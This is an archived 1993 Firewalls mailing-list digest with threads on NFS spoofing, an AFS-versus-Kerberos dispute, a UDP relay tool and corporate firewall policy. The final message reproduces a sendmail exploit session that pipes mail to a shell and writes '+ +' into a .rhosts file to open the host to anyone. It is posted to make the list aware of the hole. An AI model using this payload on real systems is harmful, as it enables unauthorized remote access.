only > get half the connection -- see Bellovin's paper on security in the > TCP/IP suite. > > Since folks have asked -- see /dist/internet_security/ipext.ps.Z on > research.att.com. And since the next question is ``where do I > get the R.T. Morris report'', it's in /netlib/research/cstr/117.Z on > the same machine. There is a kerberos security paper in the /dist/internet_security directory as well, I believe, and other goodies too. Perry From Firewalls-Owner Thu Oct 28 22:14:58 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA14981; Thu, 28 Oct 93 22:14:58 GMT Received: from uu3.psi.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA14973; Thu, 28 Oct 93 15:14:50 PDT Received: from bacon.UUCP by uu3.psi.com (5.65b/4.0.071791-PSI/PSINet) via UUCP; id AA01940 for ; Thu, 28 Oct 93 17:57:54 -0400 Received: from lorax.imsi.com by bacon.IMSI.COM (4.1/SMI-4.1) id AA06132; Thu, 28 Oct 93 17:20:56 EDT Received: from localhost by lorax.imsi.com (4.1/SMI-4.1) id AA06552; Thu, 28 Oct 93 17:20:55 EDT Message-Id: <9310282120.AA06552@lorax.imsi.com> To: pmetzger@lehman.com Cc: Firewalls@greatcircle.com, Neil Readwin Subject: Re: System Security In-Reply-To: Your message of "Thu, 28 Oct 1993 14:39:47 EDT." <9310281839.AA02642@snark.lehman.com> Reply-To: rens@imsi.com Date: Thu, 28 Oct 1993 17:20:55 -0400 From: Rens Troost Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk >>>>> On Thu, 28 Oct 1993 14:39:47 -0400, "Perry E. Metzger" said: pmetzger> It might work, but you'd have to be tricky about it. Inode pmetzger> generation numbers are randomized when disks get built. pmetzger> However, the random number generators in question are pmetzger> rather poor and thus you can probably spoof the pmetzger> connections. There should be ways to do this sort of thing pmetzger> as well -- NFS is so low on security that I've never pmetzger> bothered to look at it in detail -- it would be like pmetzger> trying to look for new holes in a sieve. fsirand is sufficiently effective that this sort of attack can only my the most amazing dumb luck result yield surgical precision. On the other hand, it can be quite effective at completely dismembering a machine. -Rens From Firewalls-Owner Thu Oct 28 23:31:38 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA15255; Thu, 28 Oct 93 23:31:38 GMT Received: from Sun.COM by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA15247; Thu, 28 Oct 93 16:31:31 PDT Received: from EBay.Sun.COM (female.ebay.sun.com) by Sun.COM (4.1/SMI-4.1) id AA03949; Thu, 28 Oct 93 16:35:30 PDT Received: from conundrum.EBay.Sun.COM by EBay.Sun.COM (4.1/SMI-4.1) id AA19706; Thu, 28 Oct 93 16:35:29 PDT Received: by conundrum.EBay.Sun.COM (5.0/SMI-SVR4) id AA02890; Thu, 28 Oct 1993 16:35:25 +0800 Date: Thu, 28 Oct 1993 16:35:25 +0800 From: Fred.Lowe@EBay.Sun.COM (Fred Lowe) Message-Id: <9310282335.AA02890@conundrum.EBay.Sun.COM> To: Firewalls@GreatCircle.COM Subject: Re: Firewalls Digest V2 #216 X-Sun-Charset: US-ASCII Content-Length: 14 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk done. flowe From Firewalls-Owner Fri Oct 29 15:28:04 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA17397; Fri, 29 Oct 93 15:28:04 GMT Received: from alw.nih.gov by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA17389; Fri, 29 Oct 93 08:27:48 PDT Received: from kirin.dcrt.nih.gov by alw.nih.gov (5.61/1.35(alw-2.4)) id AA26825; Fri, 29 Oct 93 11:31:47 -0400 Received: by kirin.dcrt.nih.gov (4.1/3.15) id for Firewalls@greatcircle.com; Fri, 29 Oct 93 11:31:44 EDT Received: via switchmail; Fri, 29 Oct 1993 11:31:43 -0400 (EDT) Received: from dude.dcrt.nih.gov via qmail ID ; Fri, 29 Oct 1993 11:30:38 -0400 (EDT) Received: from dude.dcrt.nih.gov via qmail ID ; Fri, 29 Oct 1993 11:30:36 -0400 (EDT) Received: from Messages.8.5.N.CUILIB.3.45.SNAP.NOT.LINKED.dude.dcrt.nih.gov.sun4c.411 via MS.5.6.dude.dcrt.nih.gov.sun4_41; Fri, 29 Oct 1993 11:30:36 -0400 (EDT) Message-Id: Date: Fri, 29 Oct 1993 11:30:36 -0400 (EDT) From: Bob Dew Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII To: Firewalls@greatcircle.com Subject: Re: System Security Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk I'd to offer a clarification on the past discussion concerning AFS and kerberos. AFS is a kerberos-based service, but it does not use MIT Kerberos. Some confusion comes into play, because the AFS login process is equipped to grant both kinds of authentication: true kerberos tickets, and AFS tokens. The kerberos tickets are stored on local disk in /tmp, and can be used to grant access to kerberos services in the normal fashion. AFS, however, is not considered a true kerberos service; possession of kerberos tickets -- those granted by the AFS kaserver -- won't grant a user access to the AFS protection server. Kerberos services can be used alongside of AFS, but they are separate services, and notably different from AFS in that they are susceptible to well-known security breaches resulting from token-stealing by root processes on multiuser hosts. AFS uses the concept of a "token" in its kerberos-style authentication. Tokens are stored in kernel memory. AFS tokens cannot be used to grant access to kerberos services. The point of contention is whether possession of an AFS token is sufficient to grant unauthorized access to AFS. While kerberos theory states that possession of the shared secret is sufficient to access a service, the practical matter is that the service, AFS in this case, can use kerberos as a vehicle to build its own elaborate protection scheme. Mere possession of a shared secret does not guarantee that a service will authenticate, because the service itself can build "who, what, when, where, how much, when last"-type information into the encrypted packaging that houses the secret. In the case of cracking AFS, finding and stealing a ticket is just part of a very elaborate process that would need to be accomplished in order to "break-into" the AFS file space. The study of AFS security is an on-going process. Holes were found in earlier versions -- "Hijacking AFS" describes some of them nicely -- but even those holes, since patched, took a formal academic study, an absolutely thorough knowledge of the code, a good deal of sophisticated and imaginative coding, and an IBM grant, to expose. More recent versions of AFS may (probably) have vulnerabilities due to ticket-stealing. But I don't think any have been exposed to date (if that's not correct, I'd appreciate hearing from anyone who knows otherwise). I believe AFS provides state-of-the-art security, and that its users needn't worry about things like people stealing tokens from core dumps. (Attacks resulting from poor system setups are, however, are something to worry about). -Bob From Firewalls-Owner Fri Oct 29 17:32:44 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA18425; Fri, 29 Oct 93 17:32:44 GMT Received: from lehman.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA18417; Fri, 29 Oct 93 10:32:35 PDT Received: from relay.lehman.com by lehman.com (8.6.3/LB 0.1) id NAA00534; Fri, 29 Oct 1993 13:36:34 -0400 Received: from snark.lehman.com by relay.lehman.com (4.1/LB-0.6) id AA09493; Fri, 29 Oct 93 13:36:33 EDT Received: by snark.lehman.com (4.1/SMI-4.1) id AA08390; Fri, 29 Oct 93 13:36:31 EDT Message-Id: <9310291736.AA08390@snark.lehman.com> To: firewalls@greatcircle.com Subject: Re: System Security In-Reply-To: Your message of "Fri, 29 Oct 1993 11:30:36 EDT." Reply-To: pmetzger@lehman.com X-Reposting-Policy: redistribute only with permission Date: Fri, 29 Oct 1993 13:36:30 -0400 From: "Perry E. Metzger" Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Bob Dew says: > I'd to offer a clarification on the past discussion concerning AFS and > kerberos.[...] Bob is completely wrong in his analysis -- stealing the shared secret is necessarily all thats really required to spoof AFS, as simple reason about the protocols will tell you. The only way a foreign host knows who you are, period, is because you can prove that you possess a shared secret -- anything else can be faked. However, I've promised not to go on about this topic, so I would suggest that people read the Kerberos papers (in spite of what Bob thinks AFS uses kerberos -- in fact, we run AFS with an MIT kerberos server just fine) and Peter Honeyman's paper on how to break in to AFS. Perry From Firewalls-Owner Sat Oct 30 02:58:07 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA20173; Sat, 30 Oct 93 02:58:07 GMT Received: from tuna.wang.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA20165; Fri, 29 Oct 93 19:57:58 PDT Received: from elf.wang.com by tuna.wang.com with SMTP id AA08693 (5.65c/IDA-1.5 for ); Fri, 29 Oct 1993 23:01:56 -0400 Received: from fnord.wang.com by elf.wang.com with SMTP id AA14989 (5.65c/IDA-1.5 for ); Fri, 29 Oct 1993 23:01:50 -0400 Received: by fnord.wang.com (5.65c/TF5) id AA01004; Fri, 29 Oct 1993 23:01:43 -0400 From: Tom Fitzgerald Message-Id: <199310300301.AA01004@fnord.wang.com> Subject: UDP packet relayer available To: firewalls@greatcircle.com Date: Fri, 29 Oct 93 23:01:43 EDT X-Mailer: ELM [version 2.3 PL11] Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk There's a UDP packet relayer available by anon-ftp: ftp.wang.com:/pub/fitz/udprelay-0.2.tar.Z It consists of two parts: 1) a daemon running on a firewall system which forwards UDP traffic through the firewall as permitted by a configuration file, and 2) Rsendto/Rrecvfrom routines which can be linked with cooperative client programs to allow them to choose who they contact in the outside world. >From the original announcement: | It allows forwarding between: | | 1) specific pairs of internal and external hosts (nice for ntpd), | 2) any internal host and a specific external host (nice for ntp query clients | or archie clients that you can't modify the source to), or | 3) any internal host and any external host (nice for clients which you can | modify, since it requires replacing calls to sendto and recvfrom with | Rsendto/Rrecvfrom, in the spirit of socks). Everyone who received 0.1 from me via e-mail should pick this up, it has some small security fixes to protect users inside the firewall from other users inside the firewall - no known bugs will make you vulnerable to outsiders. -- Tom Fitzgerald Wang Labs, Lowell MA, USA fitz@wang.com 1-508-967-5278 From Firewalls-Owner Sat Oct 30 18:12:04 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA21992; Sat, 30 Oct 93 18:12:04 GMT Received: from alw.nih.gov by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA21984; Sat, 30 Oct 93 11:11:56 PDT Received: from kirin.dcrt.nih.gov by alw.nih.gov (5.61/1.35(alw-2.4)) id AA03045; Sat, 30 Oct 93 14:15:56 -0400 Received: by kirin.dcrt.nih.gov (4.1/3.15) id for pmetzger@lehman.com; Sat, 30 Oct 93 14:15:54 EDT Received: via switchmail; Sat, 30 Oct 1993 14:15:53 -0400 (EDT) Received: from dude.dcrt.nih.gov via qmail ID ; Sat, 30 Oct 1993 14:15:38 -0400 (EDT) Received: from dude.dcrt.nih.gov via qmail ID ; Sat, 30 Oct 1993 14:15:34 -0400 (EDT) Received: from Messages.8.5.N.CUILIB.3.45.SNAP.NOT.LINKED.dude.dcrt.nih.gov.sun4c.411 via MS.5.6.dude.dcrt.nih.gov.sun4_41; Sat, 30 Oct 1993 14:15:34 -0400 (EDT) Message-Id: Date: Sat, 30 Oct 1993 14:15:34 -0400 (EDT) From: Bob Dew Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII To: firewalls@greatcircle.com, pmetzger@lehman.com Subject: Re: System Security In-Reply-To: <9310291736.AA08390@snark.lehman.com> References: <9310291736.AA08390@snark.lehman.com> Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Excerpts from Firewalls: 29-Oct-93 Re: System Security "Perry E. Metzger"@lehma (707) > ...in spite of what Bob thinks AFS uses kerberos -- in fact, we run AFS with an MIT kerberos server just fine... Not very fair, Perry. If you're running AFS as you say, then you know that you've thrown away your AFS versions of login, kpasswd, klog, kas, ftd, and so on, and hacked your Kerberos versions of kinit and login to understand AFS. AFS kaserver and MIT Kerberos use a different string-to-key function for password encryption, support different ticket lifetimes, employ different rules regarding intercellular authentication, and use a different client/server communication protocol, among other things. MIT Kerberos is Kerberos. AFS Kerberos is kerberos-like. The distinction is important, because AFS Kerberos clients cannot communicate wtih MIT Kerberos servers. From Firewalls-Owner Sat Oct 30 19:12:58 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA22063; Sat, 30 Oct 93 19:12:58 GMT Received: from lehman.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA22055; Sat, 30 Oct 93 12:12:51 PDT Received: from relay.lehman.com by lehman.com (8.6.3/LB 0.1) id PAA05460; Sat, 30 Oct 1993 15:16:53 -0400 Received: from snark.lehman.com by relay.lehman.com (4.1/LB-0.6) id AA08308; Sat, 30 Oct 93 15:16:51 EDT Received: by snark.lehman.com (4.1/SMI-4.1) id AA17687; Sat, 30 Oct 93 15:16:50 EDT Message-Id: <9310301916.AA17687@snark.lehman.com> To: firewalls@greatcircle.com Subject: Re: System Security In-Reply-To: Your message of "Sat, 30 Oct 1993 14:15:34 EDT." Reply-To: pmetzger@lehman.com X-Reposting-Policy: redistribute only with permission Date: Sat, 30 Oct 1993 15:16:49 -0400 From: "Perry E. Metzger" Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Bob Dew says: [More stuff] Look, Bob, the discussion is over. You think you are right, I contend that you are wrong, and anyone who wants to hear my side of it is free to write me, but I'm not polluting the firewalls list with more of this. I'm sure no one will -- everyone has heard quite enough of this already. Perry From Firewalls-Owner Sun Oct 31 23:03:18 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA05586; Sun, 31 Oct 93 23:03:18 GMT Received: from relay1.UU.NET by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA05577; Sun, 31 Oct 93 15:03:09 PST Received: from spool.uu.net (via LOCALHOST) by relay1.UU.NET with SMTP (5.61/UUNET-internet-primary) id AA05279; Sun, 31 Oct 93 18:03:05 -0500 Received: from rde.UUCP by uucp6.uu.net with UUCP/RMAIL (queueing-rmail) id 180114.7444; Sun, 31 Oct 1993 18:01:14 EST Received: from homebase.vistachrome.com by cyan.vistachrome.COM (4.1/SMI-4.1) id AA12601; Sun, 31 Oct 93 17:41:32 EST Received: by homebase.vistachrome.com (5.65/1.35) id AA01872; Sun, 31 Oct 93 17:41:32 -0500 Received: from cyan.vistachrome.com by homebase.vistachrome.com (5.65/1.35) id AA01588; Sun, 31 Oct 93 15:26:12 -0500 Received: by cyan.vistachrome.COM (4.1/SMI-4.1) id AA12075; Sun, 31 Oct 93 15:26:11 EST Received: from IETF.nri.reston.VA.US (via ietf.cnri.reston.va.us) by relay1.UU.NET with SMTP (5.61/UUNET-internet-primary) id AA00287; Sun, 31 Oct 93 12:34:11 -0500 Received: from ietf.nri.reston.va.us by IETF.CNRI.Reston.VA.US id aa15610; 31 Oct 93 10:14 EST Received: from CNRI.RESTON.VA.US by IETF.CNRI.Reston.VA.US id aa15587; 31 Oct 93 10:10 EST Received: from VAXL1.DANAVICTOR.COM by CNRI.Reston.VA.US id aa05620; 31 Oct 93 10:10 EST Date: Sun, 31 Oct 1993 09:10 CST From: WARREN SMITH - LISLE INFORMATION SERVICES To: ietf@CNRI.Reston.VA.US Cc: WSMITH@vaxl1.danavictor.com Subject: Security concerns of Corporate Customers Message-Id: <9310311010.aa05620@CNRI.Reston.VA.US> Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk I have managed to get myself in the middle of a corporate network services squabble. We are a division of a large multinational organization, who, for the most part has autonomy for what we do in the area of networks and computing systems. Our division has been a leader in implemening new systems and technology for quite some time. We registered our IP net 3-1/2 years ago and for a number of years we attempted to justify an INTERNET connection. Our corporate office finally agreed about 8 months ago and contracted with OARnet for a link. We were then able to begin utilizing the features and functions of the INTERNET. From our 300+ systems, our users have mail, gopher,ftp, news, x-windows,telnet, time synch, and anything else supported on the network. This ability has aided our engineers and others greatly. Our network services group, and their self appointed security experts - none of who can even access the INTERNET, have now mandated that all INTERNET access will be through one "Firewall" system. It will only support Telnet,FTP, SMTP for specific users only. Our users will have to connect to the firewall and then make their ourgoing connection from that system. No incoming connections will be supported and we will loose gopher,ntp,nntp ping,tracroute and any other access. Our network services group does not feel we need any other INTERNET access. I NEED YOUR HELP. If possible, could I hear about how other organizations have implemented security without defeating the purpose of the system. I would like to present these options to those who are making this decision. Security is of major importance to us, but we can not afford, due to lack of knowledge, make decisions which will impact the entire future of inter- networking. My concern is that myopic network services groups will end up dooming future systems such as the Information Infrasturcture Act proposes. I think "Fear, uncertainty, and doubt" (FUD) factor has alot to do with this. Please comment back to: Warren Smith Director of Information Services wsmith@vaxl1.danavictor.com FAX (If I loose my internet connection) 708-960-1871 I appologize for such a lengthly message. From Firewalls-Owner Sun Oct 31 23:33:10 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA07667; Mon, 1 Nov 93 07:06:19 GMT Received: from coombs.anu.edu.au by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA07659; Sun, 31 Oct 93 23:06:08 PST Message-Id: <9311010706.AA07659@mycroft.GreatCircle.COM> Received: by coombs.anu.edu.au (1.37.109.4/16.2) id AA23146; Mon, 1 Nov 93 18:01:34 +1100 From: Darren Reed Subject: Sendmail bug (feature ?) - is this it ? To: Firewalls@GreatCircle.COM (Firewalls Mailing List) Date: Mon, 1 Nov 1993 18:01:33 +1000 (EDT) X-Mailer: ELM [version 2.4 PL21] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 673 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Well, for those who want to know, below is an example of how the sendmail bug is exploited. From what I was told, it was "dumped" to IRC so the hole might as well be known by every man and his dog. I haven't yet been able to confirm that it works (everywhere seems to have upgraded and nobody is in a hurry to downgrade :) so I'm not sure this is the problem. Might give someone more of an idea to the real thing if it's not. Have fun. Cheers, Darren mail from: bin 250 bin... Sender ok rcpt to: | sed 's 1,/^$/d' | sh 250 | sed 's 1,/^$/d' | sh... Recipient ok data 354 Enter mail, end with "." on a line by itself echo "+ +" > /usr/bin/.rhosts